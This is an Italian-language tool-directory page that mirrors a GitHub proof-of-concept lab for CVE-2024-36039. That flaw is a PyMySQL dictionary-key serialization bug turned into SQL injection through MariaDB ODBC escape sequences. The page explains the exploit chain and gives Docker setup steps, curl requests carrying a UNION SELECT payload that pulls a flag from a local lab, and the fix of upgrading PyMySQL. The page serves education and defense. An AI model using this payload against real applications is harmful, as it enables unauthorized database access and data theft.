Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-36039_PoC — PoC per CVE-2024-36039: Dimostrazione di SQL Injection tramite difetto di serializzazione Object-to-String in PyMySQL | Kitploit
Strumenti/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

PoC per CVE-2024-36039: Dimostrazione di SQL Injection tramite difetto di serializzazione Object-to-String in PyMySQL

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
14 mesi faNon ancora revisionato

CVE-2024-36039: Iniezione di Oggetti PyMySQL a SQL Injection PoC

Docker Python MariaDB Vulnerability CVE

Un laboratorio Proof of Concept (PoC) completo e riproducibile per CVE-2024-36039, che dimostra come una vulnerabilità di Object Injection in PyMySQL (versioni <= 1.1.0) possa essere elevata a una SQL Injection completa utilizzando le sequenze di escape ODBC di MariaDB.


⚠️ DICHIARAZIONE LEGALE ED ETICA (SOLO USO ETICO)

  • Questo repository è esclusivamente per scopi accademici e di ricerca.
  • Il codice e le tecniche fornite NON devono essere utilizzati per interferire con sistemi di cui non si possiede la proprietà o senza esplicita autorizzazione scritta per testarli.
  • L'autore/contributori NON sono responsabili per eventuali conseguenze o danni derivanti dall'uso improprio di queste informazioni.
  • Usando questo repository, accetti di rispettare questi termini.

📖 1. Panoramica della Vulnerabilità

CVE-2024-36039 è una vulnerabilità in PyMySQL, una libreria client MySQL pura Python.

Quando query parametrizzate (ad es., execute("SELECT * FROM table WHERE data = %s", (my_dict,))) ricevono un dizionario Python in cui le chiavi sono oggetti personalizzati anziché stringhe standard, PyMySQL utilizza il metodo __str__ o __repr__ dell'oggetto per serializzarlo in una stringa SQL.

Il Bug: PyMySQL dimentica di racchiudere tra apici singoli la stringa risultante dalla chiave oggetto. Ciò produce una stringa grezza, non quotata, iniettata direttamente nell'istruzione SQL formattata come un dizionario: {ChiaveOggettoNonQuotata: 'ValoreQuotato'}.


🔬 2. Approfondimento Tecnico: Il Trucco ODBC di MariaDB

Da sola, l'iniezione di {ChiaveNonQuotata: 'Valore'} in una query MariaDB genera un Errore di Sintassi 1064 poiché {} non è una sintassi SQL standard per dati.

Tuttavia, MariaDB/MySQL supporta le sequenze di escape ODBC, che utilizzano le parentesi graffe {}. Per bypassare l'errore di sintassi, la stringa immediatamente dopo { deve essere una parola chiave ODBC valida (ad es., d, t, ts, fn).

La Catena di Sfruttamento:

  1. La Chiave Oggetto (Il Punto di Iniezione): Creiamo un oggetto personalizzato che restituisce fn/* tramite il suo metodo __repr__.
  2. Il Valore (Il Payload): Impostiamo il valore del dizionario su */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
  3. Serializzazione di PyMySQL: PyMySQL formatta questo dizionario nella query SQL senza quotare la chiave:
    root@kitploit:~
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. Magia di Parsing di MariaDB:
    • {fn : MariaDB riconosce l'inizio di una funzione scalare ODBC.
    • /*: "'*/ : MariaDB tratta questo come un commento a blocco. I due punti : e l'apice di apertura ' generati da PyMySQL vengono completamente ignorati!
    • 1} : Completa la funzione ODBC (restituendo effettivamente l'intero 1).
    • UNION SELECT 1, flag, 3 FROM secret : Il nostro payload SQL iniettato viene eseguito.

Risultato: Una SQL Injection perfetta che bypassa sia la logica dell'applicazione che la parametrizzazione di PyMySQL!


🛠️ 3. Istruzioni per l'Allestimento del Laboratorio

Prerequisiti

  • Docker
  • Docker Compose

Installazione

Clona questo repository e avvia l'ambiente:

root@kitploit:~
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(Attendi circa 15-20 secondi affinché il container MariaDB si inizializzi completamente).


🎯 4. Passaggi per lo Sfruttamento

Passo 1: Richiesta Normale

Invia una richiesta JSON standard. Il backend convertirà la chiave JSON in un oggetto CustomKey.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

Risposta: Riceverai un Errore di Sintassi SQL che indica che {yamato: "'Any_value'"} è SQL non valido, confermando il punto di iniezione.

Passo 2: L'Exploit (Estrarre la Flag)

Inietta il payload della sequenza di escape ODBC per bypassare l'errore di sintassi ed estrarre la flag nascosta dalla tabella secret.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

Risposta (PWNED!):

root@kitploit:~
{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. Rimedio

Per risolvere questa vulnerabilità, aggiorna PyMySQL alla versione 1.1.1 o successiva.

Nelle versioni corrette, gli sviluppatori garantiscono che tutte le chiavi del dizionario, indipendentemente dal loro tipo, vengano correttamente quotate e racchiuse tra apici prima di essere inserite nell'istruzione SQL.

root@kitploit:~
pip install --upgrade PyMySQL

📚 6. Crediti e Riferimenti

  • Avviso CVE-2024-36039: NVD - CVE-2024-36039
  • Patch di Sicurezza PyMySQL: Rilascio GitHub PyMySQL v1.1.1
  • Sequenze di Escape ODBC di MariaDB: Documentazione MariaDB.
  • Ispirazione: Questo ambiente di laboratorio è stato modellato basandosi su tecniche moderne di sfruttamento web che coinvolgono difetti di serializzazione oggetto-a-stringa.

Disclaimer: Questo repository è creato solo per scopi educativi e di ricerca. Non utilizzare queste tecniche contro sistemi di cui non possiedi la proprietà o senza autorizzazione esplicita per testarli.

© 2026 by zenniskayy. Costruito per un internet più sicuro.

Scarica lo strumento
  • -- '"} : Il commento SQL ignora il resto del contenuto superfluo ('}).